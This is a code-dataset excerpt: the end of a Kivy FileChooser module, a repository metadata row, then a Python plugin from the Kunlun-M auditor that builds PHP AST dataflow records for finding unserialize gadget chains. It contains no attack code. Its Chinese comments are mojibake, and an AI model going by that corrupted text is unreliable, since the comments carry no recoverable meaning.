view_mode = AliasProperty(
get_view_mode, set_view_mode, bind=('_view_mode',))
'''
Current layout view mode.
view_mode is an :class:`~kivy.properties.AliasProperty` of type
:class:`str`.
'''
@property
def _views(self):
return [screen.children[0] for screen in self.manager.screens]
def __init__(self, **kwargs):
super(FileChooser, self).__init__(**kwargs)
self.manager = ScreenManager()
super(FileChooser, self).add_widget(self.manager)
self.trigger_update_view = Clock.create_trigger(self.update_view)
self.fbind('view_mode', self.trigger_update_view)
def add_widget(self, widget, **kwargs):
if widget is self._progress:
super(FileChooser, self).add_widget(widget, **kwargs)
elif hasattr(widget, 'VIEWNAME'):
name = widget.VIEWNAME + 'view'
screen = Screen(name=name)
widget.controller = self
screen.add_widget(widget)
self.manager.add_widget(screen)
self.trigger_update_view()
else:
raise ValueError(
'widget must be a FileChooserLayout,'
' not %s' % type(widget).__name__)
def rebuild_views(self):
views = [view.VIEWNAME for view in self._views]
if views != self._view_list:
self._view_list = views
if self._view_mode not in self._view_list:
self._view_mode = self._view_list[0]
self._trigger_update()
def update_view(self, *args):
self.rebuild_views()
sm = self.manager
viewlist = self._view_list
view = self.view_mode
current = sm.current[:-4]
viewindex = viewlist.index(view) if view in viewlist else 0
currentindex = viewlist.index(current) if current in viewlist else 0
direction = 'left' if currentindex < viewindex else 'right'
sm.transition.direction = direction
sm.current = view + 'view'
def _create_entry_widget(self, ctx):
return [Builder.template(view._ENTRY_TEMPLATE, **ctx)
for view in self._views]
def _get_file_paths(self, items):
if self._views:
return [file[0].path for file in items]
return []
def _update_item_selection(self, *args):
for viewitem in self._items:
selected = viewitem[0].path in self.selection
for item in viewitem:
item.selected = selected
def on_entry_added(self, node, parent=None):
for index, view in enumerate(self._views):
view.dispatch(
'on_entry_added',
node[index], parent[index] if parent else None)
def on_entries_cleared(self):
for view in self._views:
view.dispatch('on_entries_cleared')
def on_subentry_to_entry(self, subentry, entry):
for index, view in enumerate(self._views):
view.dispatch('on_subentry_to_entry', subentry[index], entry)
def on_remove_subentry(self, subentry, entry):
for index, view in enumerate(self._views):
view.dispatch('on_remove_subentry', subentry[index], entry)
def on_submit(self, selected, touch=None):
view_mode = self.view_mode
for view in self._views:
if view_mode == view.VIEWNAME:
view.dispatch('on_submit', selected, touch)
return
if __name__ == '__main__':
from kivy.app import App
from pprint import pprint
import textwrap
import sys
root = Builder.load_string(textwrap.dedent('''\
BoxLayout:
orientation: 'vertical'
BoxLayout:
size_hint_y: None
height: sp(52)
Button:
text: 'Icon View'
on_press: fc.view_mode = 'icon'
Button:
text: 'List View'
on_press: fc.view_mode = 'list'
FileChooser:
id: fc
FileChooserIconLayout
FileChooserListLayout
'''))
class FileChooserApp(App):
def build(self):
v = root.ids.fc
if len(sys.argv) > 1:
v.path = sys.argv[1]
v.bind(selection=lambda *x: pprint("selection: %s" % x[1:]))
v.bind(path=lambda *x: pprint("path: %s" % x[1:]))
return root
FileChooserApp().run()
| [
"="
]
| = |
0d7c295a58bded7d8f0803c7bd0825307c7050e4 | d29f2e229cdabaee5b5ee999068dd5cdd4868386 | /core/plugins/phpunserializechain/dataflowgenerate.py | 81d6bc97c1902b30ac97f8f68cafcb4a79c16d11 | [
"MIT"
]
| permissive | yzhbeihai/Kunlun-M | af066cbb9a23bff9e5a9645666918fa23cb00727 | 34765ff927154e981f0fd1f7c159aa1cbc280746 | refs/heads/master | 2023-05-15T05:13:48.103789 | 2021-05-13T07:21:24 | 2021-05-13T07:21:24 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 43,488 | py | #!/usr/bin/env python
# encoding: utf-8
'''
@author: LoRexxar
@contact: [email protected]
@file: dataflowgenerate.py
@time: 2020/11/11 14:43
@desc:
'''
import re
import traceback
from core.pretreatment import ast_object
from utils.file import Directory
from utils.utils import ParseArgs
from utils.log import logger, logger_console
from web.index.models import get_dataflow_class
from Kunlun_M.const import ext_dict
from phply import phpast as php
class DataflowGenerate:
"""
็ๆDataflow db
"""
def __init__(self, *args, **kwargs):
# ๅธธ้็ฑปๅๅฎไน
self.Object_define = ['Class', 'Function', 'Method', 'Trait']
self.new_object_define = ['New', 'Array']
self.method_call = ['FunctionCall', 'MethodCall', 'StaticMethodCall', 'ObjectProperty', 'StaticProperty']
self.special_function_single = ['Clone', 'Break', 'Continue', 'Return', 'Yield', 'Print', 'Throw']
self.special_function_multi = ['Echo', 'Unset', 'IsSet']
self.special_function_expr = ['Empty', 'Eval', 'Include', 'Require', 'Exit']
self.special_function = self.special_function_single + self.special_function_multi + self.special_function_expr
self.switch_node = ['If', 'ElseIf', 'Else', 'Try', 'While', 'DoWhile', 'For', 'Foreach', 'Switch', 'Case',
'Default']
self.import_node = ['UseDeclarations', 'UseDeclaration', 'ClassVariables', 'ClassVariable',
'StaticVariable', 'MagicConstant', 'Constant', 'LexicalVariable'
'ClassConstants', 'ClassConstant',
'ConstantDeclarations', 'ConstantDeclaration', 'TraitUse']
self.variable_type_node = ['Global', 'Static', 'Cast']
self.op_node = ['AssignOp', 'PreIncDecOp', 'PostIncDecOp', 'BinaryOp', 'UnaryOp', 'TernaryOp']
self.white_node = ['InlineHTML', 'Declare', 'Variable']
self.define_node = ['Interface', 'Namespace']
self.check_node = ['IsSet', 'Empty']
self.child_node = ['Block', 'Silence', 'Namespace']
self.assign_node = ['Assignment', 'ListAssignment']
self.param_node = ['FormalParameter', 'Parameter', 'ArrayElement', 'ArrayOffset', 'StringOffset']
# ไธดๆถๅ
จๅฑๅ้
self.dataflows = []
self.target = ""
def main(self, target, renew=False):
self.target = target
targetlist = re.split("[\\\/]", target)
if target.endswith("/") or target.endswith("\\"):
filename = targetlist[-2]
else:
filename = targetlist[-1]
self.dataflow_db = get_dataflow_class(filename, isrenew=renew)
dataflows = self.dataflow_db.objects.all()
if not dataflows:
logger.info('[PhpUnSerChain] Target {} first Scan...Renew dataflow DB.'.format(filename))
self.new_dataflow()
else:
logger.info('[PhpUnSerChain] Target {} db load success'.format(filename))
return self.dataflow_db
def new_dataflow(self):
# ๅ ่ฝฝ็ฎๅฝๆไปถ
pa = ParseArgs(self.target, '', 'csv', '', 'php', '', a_sid=None)
target_mode = pa.target_mode
target_directory = pa.target_directory(target_mode)
logger.info('[CLI] Target : {d}'.format(d=target_directory))
# static analyse files info
files, file_count, time_consume = Directory(target_directory).collect_files()
# Pretreatment ast object
ast_object.init_pre(target_directory, files)
ast_object.pre_ast_all(['php'])
for file in files:
filename_list = []
if file[0] in ext_dict['php']:
filename_list = file[1]['list']
for filename in filename_list:
all_nodes = ast_object.get_nodes(filename)
self.dataflows = []
base_locate = filename.replace('/', '#').replace('\\', '#').replace('.', '_')
logger.info("[PhpUnSerChain] New Base locate {}".format(base_locate))
self.base_dataflow_generate(all_nodes, base_locate)
base_address_index = self.dataflow_db.objects.all().count()
for dataflow in self.dataflows:
if dataflow:
source_node = str(dataflow[2])
sink_node = str(dataflow[4])
if re.search(r'&[0-9]+', source_node, re.I):
address_list = re.findall(r'&[0-9]+', source_node, re.I)
for address in address_list:
source_node = source_node.replace(address, '&{}'.format(int(address[1:]) + base_address_index))
# source_node = '&{}'.format(int(source_node[1:])+base_address_index)
if re.search(r'&[0-9]+', sink_node, re.I):
address_list = re.findall(r'&[0-9]+', sink_node, re.I)
for address in address_list:
sink_node = sink_node.replace(address, '&{}'.format(int(address[1:]) + base_address_index))
# if str(sink_node).startswith('&'):
# sink_node = '&{}'.format(int(sink_node[1:])+base_address_index)
df = self.dataflow_db(node_locate=dataflow[0], node_sort=dataflow[1],
source_node=source_node, node_type=dataflow[3], sink_node=sink_node)
df.save()
def get_node_params(self, node, now_locate, now_sort=0):
result_params = ()
node_typename = node.__class__.__name__
new_sort = -1
if node_typename in ['Class']:
result_params = (self.get_node_name(node.extends, now_locate, new_sort),)
elif node_typename in ['Trait']:
result_params = (self.get_node_name(node.traits, now_locate, new_sort),)
elif node_typename in ['Function', 'Method']:
result_params = []
for param in node.params:
result_params.append(self.get_node_name(param.name, now_locate, new_sort))
result_params = tuple(result_params)
elif node_typename in ['FunctionCall', 'MethodCall', 'StaticMethodCall']:
result_params = []
for param in node.params:
result_params.append(self.get_node_name(param, now_locate, new_sort))
result_params = tuple(result_params)
elif node_typename in ['New']:
result_params = []
for param in node.params:
result_params.append(self.get_node_name(param, now_locate, new_sort))
result_params = tuple(result_params)
elif node_typename in self.special_function_multi:
result_params = []
for param in node.nodes:
result_params.append(self.get_node_name(param, now_locate, new_sort))
result_params = tuple(result_params)
return result_params
def get_node_name(self, node, base_locate, now_sort=False):
node_typename = node.__class__.__name__
if type(node) is list:
result = []
for n in node:
result.append(self.get_node_name(n, base_locate, now_sort))
return str(result)
if isinstance(node, php.Variable):
return '{}-{}'.format(node_typename, node.name)
elif isinstance(node, php.ArrayOffset):
return '{}-{}@{}'.format(node_typename, self.get_node_name(node.node, base_locate, now_sort),
self.get_node_name(node.expr, base_locate, now_sort))
elif isinstance(node, php.ArrayElement):
if self.get_node_name(node.key, base_locate, now_sort):
return '{}:{}'.format(self.get_node_name(node.key, base_locate, now_sort),
self.get_node_name(node.value, base_locate, now_sort))
else:
return '{}'.format(self.get_node_name(node.value, base_locate, now_sort))
elif isinstance(node, php.Array):
result = []
for array_node in node.nodes:
result.append(self.get_node_name(array_node, base_locate, now_sort))
return '{}-{}'.format(node_typename, result)
elif isinstance(node, php.Assignment):
self.base_dataflow_generate([node], base_locate, now_sort=now_sort)
now_nodeid, Newnode = self.deep_obj_address_generate(node, base_locate, now_sort)
return '&{}'.format(now_nodeid)
elif isinstance(node, php.Parameter):
return str(self.get_node_name(node.node, base_locate, now_sort))
elif isinstance(node, php.FormalParameter):
return str(self.get_node_name(node.name, base_locate, now_sort))
elif isinstance(node, php.ObjectProperty):
return '{}->{}'.format(self.get_node_name(node.node, base_locate, now_sort),
self.get_node_name(node.name, base_locate, now_sort))
elif isinstance(node, php.New):
# self.base_dataflow_generate([node], base_locate, now_sort=now_sort)
now_nodeid, Newnode = self.deep_obj_address_generate(node, base_locate, now_sort)
return '&{}'.format(now_nodeid)
elif isinstance(node, php.Constant):
return 'Constant-' + node.name
elif isinstance(node, php.MagicConstant):
return 'Constant-{}@{}'.format(self.get_node_name(node.name, base_locate, now_sort),
self.get_node_name(node.value, base_locate, now_sort))
elif isinstance(node, php.FunctionCall):
self.base_dataflow_generate([node], base_locate, now_sort=now_sort)
now_nodeid, Newnode = self.deep_obj_address_generate(node, base_locate, now_sort)
return '&{}'.format(now_nodeid)
elif isinstance(node, php.MethodCall):
# self.base_dataflow_generate([node], base_locate, now_sort=now_sort)
now_nodeid, Newnode = self.deep_obj_address_generate(node, base_locate, now_sort)
return '&{}'.format(now_nodeid)
elif isinstance(node, php.StaticProperty):
return '{}->{}'.format(self.get_node_name(node.node, base_locate, now_sort),
self.get_node_name(node.name, base_locate, now_sort))
elif isinstance(node, php.StaticMethodCall):
# self.base_dataflow_generate([node], base_locate, now_sort=now_sort)
now_nodeid, Newnode = self.deep_obj_address_generate(node, base_locate, now_sort)
return '&{}'.format(now_nodeid)
elif node_typename in self.op_node:
now_nodeid, Newnode = self.deep_obj_address_generate(node, base_locate, now_sort)
return '&{}'.format(now_nodeid)
elif isinstance(node, php.Cast):
return '({}){}'.format(self.get_node_name(node.type, base_locate, now_sort),
self.get_node_name(node.expr, base_locate, now_sort))
elif isinstance(node, php.Silence):
return self.get_node_name(node.expr, base_locate, now_sort)
elif isinstance(node, php.ForeachVariable):
return self.get_node_name(node.name, base_locate, now_sort)
elif node_typename in self.special_function:
# self.base_dataflow_generate([node], base_locate, now_sort=now_sort)
now_nodeid, Newnode = self.deep_obj_address_generate(node, base_locate, now_sort)
return '&{}'.format(now_nodeid)
else:
if not node:
return ""
return node
def get_node_nodes(self, node):
result_nodes = []
if type(node) is list:
return node
if isinstance(node, php.Block):
result_nodes = node.nodes
return result_nodes
def get_binaryop_name(self, node, base_locate, now_sort):
node_typename = node.__class__.__name__
if isinstance(node, php.BinaryOp):
result = (self.get_node_name(node.left, base_locate, now_sort), node.op,
self.get_node_name(node.right, base_locate, now_sort))
return result
elif isinstance(node, php.UnaryOp):
return self.get_node_name(node.op, base_locate, now_sort), self.get_node_name(node.expr, base_locate,
now_sort)
elif node_typename in ['IsSet']:
node_nodes = node.nodes
result = []
for node_node in node_nodes:
result.append(self.get_node_name(node_node, base_locate, now_sort))
return 'FunctionCall-isset({})'.format(result)
return self.get_node_name(node, base_locate, now_sort)
def base_dataflow_generate(self, nodes, base_locate, now_sort=0):
"""
ๅบ็ก้ๅฝ็ฑป็ๆdataflow
:param now_sort:
:param nodes:
:param base_locate:
:return:
"""
now_locate = base_locate
for node in nodes:
try:
node_typename = node.__class__.__name__
if now_sort >= 0:
now_sort += 1
if not node:
continue
if node_typename in self.Object_define:
# ๅฝ่็นๆฏ็ฑปๅๅฎไน๏ผๅ้่ฆ่ฟๅ
ฅๆฐ็ๅๅนถๅๆดlocate
node_name = node.name
node_nodes = node.nodes
new_locate = base_locate + '.' + node_typename + '-' + node_name
node_source = node_typename + '-' + node_name
flow_type = 'new' + node_typename
node_sink = self.get_node_params(node, new_locate, now_sort)
# check method modifiers
if node_typename == 'Method':
node_modifiers = node.modifiers
if 'abstract' in node_modifiers:
continue
# print(node_modifiers)
# add now dataflow
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
# add param
if isinstance(node, php.Function) or isinstance(node, php.Method):
for param in node.params:
# add into dataflow
param_name = self.get_node_name(param, new_locate, -1)
self.dataflows.append((new_locate, 0, param_name, 'new' + node_typename + 'params',
self.get_node_name(param.default, new_locate, now_sort)))
# ๅฐพ้ๅฝ
self.base_dataflow_generate(node_nodes, new_locate)
elif node_typename == 'Assignment':
# ่ตๅผ
node_source = self.get_node_name(node.node, now_locate, now_sort)
flow_type = node_typename
node_sink = self.get_node_name(node.expr, now_locate, now_sort)
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
elif node_typename == 'ListAssignment':
node_source = self.get_node_name(node.nodes, now_locate, now_sort)
flow_type = node_typename
node_sink = self.get_node_name(node.expr, now_locate, now_sort)
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
elif node_typename in self.method_call:
node_source = self.get_node_name(node.name, now_locate, now_sort)
flow_type = node_typename
new_locate = base_locate + '.' + node_typename + '-' + node_source
if node_typename == 'MethodCall':
node_source = self.get_node_name(node.node, now_locate, now_sort) + '->' + node_source
elif node_typename == 'StaticMethodCall':
node_source = self.get_node_name(node.class_, now_locate, now_sort) + '::' + node_source
elif node_typename == 'ObjectProperty':
node_source = self.get_node_name(node.node, now_locate, now_sort) + '->' + node_source
elif node_typename == 'StaticProperty':
node_source = self.get_node_name(node.node, now_locate, now_sort) + '::' + node_source
node_sink = self.get_node_params(node, new_locate, -1)
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
elif node_typename in self.special_function:
node_source = node_typename.lower()
flow_type = 'FunctionCall'
new_locate = base_locate + '.' + flow_type + '-' + node_source
node_sink = self.get_node_params(node, new_locate, now_sort)
if node_typename in self.special_function_single:
node_sink = self.get_node_name(node.node, now_locate, -1)
elif node_typename in self.special_function_multi:
result_params = []
for param in node.nodes:
result_params.append(self.get_node_name(param, now_locate, -1))
node_sink = tuple(result_params)
elif node_typename in self.special_function_expr:
node_sink = self.get_node_name(node.expr, now_locate, -1)
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
elif node_typename == 'New':
node_source = self.get_node_name(node.name, now_locate, now_sort)
flow_type = 'NewClass'
new_locate = base_locate + '.' + flow_type
node_sink = self.get_node_params(node, new_locate, now_sort)
# for param in node.params:
# # add into dataflow
# param_name = self.get_node_name(param, now_locate, now_sort)
#
# self.dataflows.append((new_locate, 0, param_name, 'newClassparams',
# self.get_node_name(param.is_ref, now_locate, now_sort)))
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
elif node_typename in self.switch_node:
new_locate = base_locate + '.' + node_typename
node_source = node_typename
flow_type = node_typename
if node_typename in ['While', 'DoWhile']:
# ๅค็expr op
node_id, new_node = self.deep_obj_address_generate(node.expr, new_locate, -1)
if node_id:
node_sink = '&{}'.format(node_id)
else:
node_sink = self.get_node_name(new_node, now_locate, now_sort)
node_nodes = self.get_node_nodes(node.node)
elif node_typename == 'If':
# ๅค็expr op
node_id, new_node = self.deep_obj_address_generate(node.expr, new_locate, -1)
if node_id:
node_sink = '&{}'.format(node_id)
else:
node_sink = self.get_node_name(new_node, now_locate, now_sort)
node_nodes = self.get_node_nodes(node.node)
# IFๆฏ็นๆฎ็่ฏญไน็ปๆ๏ผelseifๅelse้ฝๅจifไนไธ๏ผๆไปฅๅฟ
้กปๆๅ่ฟๅ
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
# if ็exprไธบๆกไปถ๏ผๆไปฅ่ฆ่ฟdeep op
# self.deep_op_generate(node.expr, new_locate, 0)
# ๅฐพ้ๅฝ
self.base_dataflow_generate(node_nodes, new_locate)
# for elseif
node_elseifs = self.get_node_nodes(node.elseifs)
for node_elseif in node_elseifs:
node_typename = node_elseif.__class__.__name__
new_locate = base_locate + '.' + node_typename
now_sort += 1
node_source = node_typename
flow_type = node_typename
node_id, new_node = self.deep_obj_address_generate(node_elseif.expr, new_locate, -1)
if node_id:
node_sink = '&{}'.format(node_id)
else:
node_sink = self.get_node_name(new_node, now_locate, now_sort)
node_nodes = self.get_node_nodes(node_elseif.node)
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
# ๅฐพ้ๅฝ
self.base_dataflow_generate(node_nodes, new_locate)
# for else
node_else = node.else_
if node_else:
node_typename = node_else.__class__.__name__
new_locate = base_locate + '.' + node_typename
now_sort += 1
node_source = node_typename
flow_type = node_typename
node_sink = ()
node_nodes = self.get_node_nodes(node_else.node)
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
# ๅฐพ้ๅฝ
self.base_dataflow_generate(node_nodes, new_locate)
continue
elif node_typename in ['Switch', 'Case', 'Default']:
if node_typename == 'Default':
node_sink = 'Default'
else:
node_sink = self.get_node_name(node.expr, now_locate, now_sort)
node_nodes = self.get_node_nodes(node.nodes)
elif node_typename in ['Try']:
node_sink = ""
node_nodes = self.get_node_nodes(node.nodes)
# tryๆฏ็นๆฎ็่ฏญไน็ปๆ๏ผcatch ๅ finally ้ฝๅบ่ฏฅๅจไนๅ
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
# ๅฐพ้ๅฝ
self.base_dataflow_generate(node_nodes, new_locate)
# catch
node_catches = self.get_node_nodes(node.catches)
for node_catch in node_catches:
node_typename = node_catch.__class__.__name__
new_locate = new_locate + '.' + node_typename
now_sort += 1
node_source = node_typename
flow_type = node_typename
node_sink = (node_catch.class_, self.get_node_name(node_catch.var, now_locate, now_sort))
node_nodes = self.get_node_nodes(node_catch.nodes)
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
# ๅฐพ้ๅฝ
self.base_dataflow_generate(node_nodes, new_locate)
# finally
node_finally = getattr(node, 'finally')
if node_finally:
node_typename = node_finally.__class__.__name__
new_locate = base_locate + '.' + node_typename
now_sort += 1
node_source = node_typename
flow_type = node_typename
node_sink = ()
node_nodes = self.get_node_nodes(node_finally.nodes)
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
# ๅฐพ้ๅฝ
self.base_dataflow_generate(node_nodes, new_locate)
continue
elif node_typename in ['For']:
node_sink = ""
node_nodes = self.get_node_nodes(node.node)
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
new_locate = now_locate + '.' + node_typename
node_for_starts = node.start
if node_for_starts:
for node_for_start in node_for_starts:
node_for_start_flow_type = node_typename + '-' + 'Start'
node_for_start_type = node_for_start.__class__.__name__
if node_for_start_type == 'Variable':
# if $n: ๅคๆญๆไธชๅ้ๆฏๅฆไธบ็
node_for_start_source = self.get_node_name(node_for_start.name, now_locate, now_sort)
node_for_start_sink = ""
elif node_for_start_type in ['PostIncDecOp', 'PreIncDecOp']:
node_for_start_source = self.get_node_name(node_for_start, now_locate, now_sort)
node_for_start_sink = self.get_node_name(node_for_start.expr, now_locate, now_sort)
else:
node_for_start_source = self.get_node_name(node_for_start.node, now_locate, now_sort)
node_for_start_sink = self.get_node_name(node_for_start.expr, now_locate, now_sort)
self.dataflows.append((new_locate, 0, node_for_start_source, node_for_start_flow_type,
node_for_start_sink))
node_for_tests = node.test
if node_for_tests:
for node_for_test in node_for_tests:
node_for_test_flow_type = node_typename + '-' + 'Limit'
node_for_test_type = node_for_test.__class__.__name__
if node_for_test_type == 'BinaryOp':
node_for_test_source = self.get_node_name(node_for_test.left, now_locate, now_sort)
node_for_test_sink = self.get_binaryop_name(node_for_test, now_locate, now_sort)
else:
node_for_test_source = self.get_node_name(node_for_test, now_locate, now_sort)
node_for_test_sink = self.get_node_name(node_for_test, now_locate, now_sort)
self.dataflows.append(
(new_locate, 0, node_for_test_source, node_for_test_flow_type, node_for_test_sink))
node_for_counts = node.count
if node_for_counts:
for node_for_count in node_for_counts:
node_for_count_flow_type = node_typename + '-' + 'Count'
node_for_count_type = node_for_count.__class__.__name__
if node_for_count_type in ['PostIncDecOp', 'PreIncDecOp']:
node_for_count_source = self.get_node_name(node_for_count, now_locate, now_sort)
node_for_count_sink = self.get_node_name(node_for_count.expr, now_locate, now_sort)
elif node_for_count_type in ['AssignOp']:
node_for_count_source = self.get_node_name(node_for_count.left, now_locate,
now_sort)
node_for_count_sink = '{} {} {}'.format(
self.get_node_name(node_for_count.left, now_locate, now_sort),
self.get_node_name(node_for_count.op, now_locate, now_sort),
self.get_node_name(
node_for_count.right, now_locate, now_sort))
elif node_for_count_type in ['Assignment']:
node_for_count_source = self.get_node_name(node_for_count.node, now_locate,
now_sort)
node_for_count_sink = self.get_node_name(node_for_count.expr, now_locate, now_sort)
else:
node_for_count_source = self.get_node_name(node_for_count, now_locate, now_sort)
node_for_count_sink = self.get_node_name(node_for_count, now_locate, now_sort)
node_for_count_flow_type += '-{}'.format(node_for_count_type)
self.dataflows.append(
(new_locate, 0, node_for_count_source, node_for_count_flow_type,
node_for_count_sink))
self.base_dataflow_generate(node_nodes, new_locate)
continue
elif isinstance(node, php.Foreach):
node_sink = (self.get_node_name(node.expr, now_locate, now_sort),
self.get_node_name(node.keyvar, now_locate, now_sort),
self.get_node_name(node.valvar, now_locate, now_sort))
node_nodes = self.get_node_nodes(node.node)
else:
continue
# add now dataflow
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
# ๅฐพ้ๅฝ
self.base_dataflow_generate(node_nodes, new_locate)
elif node_typename in self.variable_type_node:
if node_typename == 'Cast':
node_modifiers = node.type
node_nodes = [node.expr]
node_source = self.get_node_name(node.expr, now_locate, now_sort)
flow_type = node_typename
node_sink = '({}){}'.format(node_modifiers, self.get_node_name(node.expr, now_locate, now_sort))
# add now dataflow
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
# ๅฐพ้ๅฝ
self.base_dataflow_generate(node_nodes, now_locate, now_sort=now_sort)
now_sort += 1
elif node_typename == 'Static':
node_modifiers = 'Static'
node_nodes = node.nodes
for node in node_nodes:
node_typename = node.__class__.__name__
if node_typename == 'StaticVariable':
node_source = self.get_node_name(node.name, now_locate, now_sort)
flow_type = 'Assignment'
node_sink = '({}){}'.format(node_modifiers,
self.get_node_name(node.initial, now_locate, now_sort))
# add now dataflow
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
elif node_typename == 'Global':
node_modifiers = 'Global'
node_nodes = node.nodes
for node in node_nodes:
node_typename = node.__class__.__name__
node_source = self.get_node_name(node.name, now_locate, now_sort)
flow_type = 'Global'
node_sink = '({}){}'.format(node_modifiers,
self.get_node_name(node.name, now_locate, now_sort))
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
elif node_typename in self.import_node:
if node_typename == 'UseDeclarations':
node_nodes = node.nodes
self.base_dataflow_generate(node_nodes, now_locate, now_sort=now_sort)
elif node_typename == 'UseDeclaration':
node_source = node_typename
flow_type = node_typename
node_sink = self.get_node_name(node.name, now_locate, now_sort)
# add now dataflow
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
elif node_typename == 'TraitUse':
node_source = self.get_node_name(node.name, now_locate, now_sort)
flow_type = node_typename
node_sink = self.get_node_name(node.renames, now_locate, now_sort)
# add now dataflow
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
elif node_typename == 'ClassVariables':
# classvarialbeๅฏไปฅๅฝไฝๆฎ้ๅ้่ตๅผ
node_modifiers = node.modifiers
node_nodes = node.nodes
for node in node_nodes:
node_typename = node.__class__.__name__
if node_typename == 'ClassVariable':
node_source = self.get_node_name(node.name, now_locate, now_sort)
flow_type = 'Assignment'
node_sink = '({}){}'.format(node_modifiers,
self.get_node_name(node.initial, now_locate, now_sort))
# add now dataflow
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
elif node_typename in ['ClassVariable', 'StaticVariable']:
node_source = self.get_node_name(node.name, now_locate, now_sort)
flow_type = 'Assignment'
node_sink = self.get_node_name(node.initial, now_locate, now_sort)
# add now dataflow
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
elif node_typename in ['LexicalVariable']:
node_source = self.get_node_name(node.name, now_locate, now_sort)
flow_type = 'Assignment'
node_sink = self.get_node_name(node.is_ref, now_locate, now_sort)
# add now dataflow
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
elif node_typename in ['ClassConstants', 'ConstantDeclarations']:
node_modifiers = 'const'
node_nodes = node.nodes
for node in node_nodes:
node_typename = node.__class__.__name__
if node_typename in ['ClassConstant', 'ConstantDeclaration']:
node_source = self.get_node_name(node.name, now_locate, now_sort)
flow_type = 'Assignment'
node_sink = '({}){}'.format(node_modifiers,
self.get_node_name(node.initial, now_locate, now_sort))
# add now dataflow
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
elif node_typename in self.op_node:
# deep op gen
self.deep_obj_address_generate(node, now_locate, now_sort=now_sort)
elif node_typename == 'Silence':
node_nodes = [node.expr]
self.base_dataflow_generate(node_nodes, now_locate, now_sort=now_sort)
elif node_typename in self.define_node:
# ็นๆฎ็ๅฎไน็ปๆ
flow_type = node_typename
if node_typename == 'Interface':
node_name = self.get_node_name(node.name, now_locate, now_sort)
new_locate = now_locate + '.' + node_typename + '-' + node_name
node_source = node_typename + '-' + node_name
node_nodes = node.nodes
node_sink = ()
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
elif node_typename == 'Namespace':
node_name = self.get_node_name(node.name, now_locate, now_sort)
new_locate = now_locate + '.' + node_typename + '-' + node_name
node_source = node_typename + '-' + node_name
node_nodes = node.nodes
node_sink = ()
# add now dataflow
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
# ๅฐพ้ๅฝ
self.base_dataflow_generate(node_nodes, new_locate)
elif node_typename == 'Block':
node_nodes = node.nodes
self.base_dataflow_generate(node_nodes, now_locate, now_sort=now_sort)
elif node_typename in self.white_node:
continue
else:
pass
except KeyboardInterrupt:
raise
except:
logger.warn("[PhpUnSerChain] Something error..\n{}".format(traceback.format_exc()))
continue
def deep_obj_address_generate(self, node, base_locate, now_sort=False):
"""
ๆทฑๅ
ฅ้ๅฝopๆไฝๅฏปๅ๏ผไปฅ&ไฝไธบๅฏปๅๆนๅผๆ ๅฟ๏ผๅ็ปญไธบๆไฝid
:param node:
:param base_locate:
:param now_sort:
:return:
"""
node_typename = node.__class__.__name__
now_locate = base_locate
# ็จ-1ๆ ่ฏๆฏๅ
็ฝฎ่ฐ็จ้พ
new_sort = -1
if node_typename in self.op_node:
if node_typename in ['BinaryOp', 'AssignOp']:
# ๅทฆๅผ้ๅฝ
node_lefts = node.left
last_node_id, new_node = self.deep_obj_address_generate(node_lefts, now_locate, now_sort=new_sort)
if last_node_id:
node_source = '&{}'.format(last_node_id)
else:
node_source = new_node
flow_type = '{}-{}'.format(node_typename, node.op)
# ๅณๅผ้ๅฝ
node_rights = node.right
last_node_id, new_node = self.deep_obj_address_generate(node_rights, now_locate, now_sort=new_sort)
if last_node_id:
node_sink = '&{}'.format(last_node_id)
else:
node_sink = new_node
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
now_nodeid = len(self.dataflows)
return now_nodeid, True
elif node_typename in ['PostIncDecOp', 'PreIncDecOp', 'UnaryOp']:
last_node_id, new_node = self.deep_obj_address_generate(node.expr, now_locate, now_sort=new_sort)
if last_node_id:
node_source = '&{}'.format(last_node_id)
else:
node_source = new_node
flow_type = '{}-{}'.format(node_typename, node.op)
node_sink = 1
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
now_nodeid = len(self.dataflows)
return now_nodeid, True
elif node_typename == 'TernaryOp':
last_node_id, new_node = self.deep_obj_address_generate(node.expr, now_locate, now_sort=new_sort)
if last_node_id:
node_source = '&{}'.format(last_node_id)
else:
node_source = new_node
flow_type = '{}-?'.format(node_typename)
node_iftrue = node.iftrue
last_node_id, new_node = self.deep_obj_address_generate(node_iftrue, now_locate, now_sort=new_sort)
if last_node_id:
new_node_source = '&{}'.format(last_node_id)
else:
new_node_source = new_node
new_node_flow_type = 'TernaryOp-return'
node_iffalse = node.iffalse
last_node_id, new_node = self.deep_obj_address_generate(node_iffalse, now_locate, now_sort=new_sort)
if last_node_id:
new_node_sink = '&{}'.format(last_node_id)
else:
new_node_sink = new_node
self.dataflows.append((now_locate, now_sort, new_node_source, new_node_flow_type, new_node_sink))
new_nodeid = len(self.dataflows)
node_sink = new_nodeid
self.dataflows.append((now_locate, now_sort, node_source, flow_type, node_sink))
now_nodeid = len(self.dataflows)
return now_nodeid, True
